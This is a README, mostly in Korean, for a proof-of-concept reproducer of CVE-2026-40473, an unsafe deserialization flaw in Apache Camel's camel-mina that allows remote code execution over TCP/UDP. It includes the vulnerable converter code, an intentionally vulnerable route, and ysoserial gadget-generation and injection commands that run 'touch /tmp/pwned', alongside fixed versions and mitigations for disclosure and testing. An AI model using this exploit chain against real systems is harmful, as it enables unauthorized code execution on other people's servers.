
Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP)
이 프로젝트는 Apache Camel의 camel-mina 구성 요소에서 CVE-2026-40473으로 추적되는 Java 역직렬화 취약점을 시연합니다. MinaConverter.toObjectInput(IoBuffer) 유형 변환기는 수신된 바이트를 ObjectInputFilter 없이 원시 ObjectInputStream으로 래핑하므로, TCP/UDP 본문을 ObjectInput으로 변환하고 readObject()를 호출하는 경로는 공격자가 조작된 직렬화 객체를 MINA 포트로 전송하여 원격 코드 실행을 유도할 수 있습니다.
Advisory: https://camel.apache.org/security/CVE-2026-40473.html
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-mina |
| 영향받는 클래스 | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | TCP/UDP를 통한 원격 코드 실행 (RCE) |
| 영향받는 버전 | 3.0.0부터 4.14.6 이전, 4.15.0부터 4.18.2 이전, 4.19.0부터 4.20.0 이전 |
| 수정된 버전 | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23319 |
| 보고자 | Venkatraman Kumar (Securin) |
IoBuffer → ObjectInput 유형 변환기는 버퍼를 원시 ObjectInputStream으로 래핑합니다:
// MinaConverter.toObjectInput(IoBuffer) - 영향을 받는 버전
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // ObjectInputFilter 없음
}
camel-mina TCP/UDP 소비자가 원시 바이트를 전달하고 (예: allowDefaultCodec=false 사용) 경로가 ObjectInput을 요청하면 (getBody(ObjectInput.class), @Body ObjectInput 또는 convertBodyTo(ObjectInput.class)), 이 변환기가 실행됩니다. 반환된 스트림에서 readObject()를 호출하면 공격자가 제공한 바이트에 있는 모든 가젯 체인이 실행됩니다.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // 역직렬화 싱크
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# JDK 21에서는 CommonsCollections 가젯을 생성하기 위해 --add-opens 추가:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# 번들된 헬퍼가 mina:5555에 원시 TCP 소켓을 열고 바이트를 씁니다. 피해 경로가 이를 ObjectInput으로 변환하고 readObject()를 호출합니다.
# -> ">>> RCE 증명 — /tmp/pwned 존재: true"
(이 PoC에서 MINA 포트 5555는 컨테이너 내부에 있습니다; /exploit/inject 헬퍼가 내부에서 원시 TCP 전송을 수행합니다. 호스트에서 nc와 같은 원시 클라이언트로 전송하려면 포트 5555를 노출하십시오.)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
본문을 ObjectInput으로 변환하는 경로를 가진 모든 camel-mina TCP 또는 UDP 소비자는 (직접, @Body ObjectInput을 통해, 또는 convertBodyTo(ObjectInput.class)를 통해) MINA 포트에 접근할 수 있는 누구에게나 악용될 수 있습니다.
ObjectInput 변환을 요청하는 camel-mina TCP/UDP 소비자.commons-collections:3.2.1).4.14.6 / 4.18.2 / 4.20.0으로 업그레이드하십시오. 수정 사항은 변환기에 ObjectInputFilter / 클래스 허용 목록을 적용합니다 (camel-netty, camel-jms 및 camel-infinispan에 적용된 강화와 일치).
업그레이드할 때까지:
ObjectInput으로 변환하지 마십시오 / 역직렬화하지 마십시오.CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # 피해: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: 직렬화된 바이트를 TCP를 통해 mina:5555로 전송
└── resources/
└── application.properties
이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.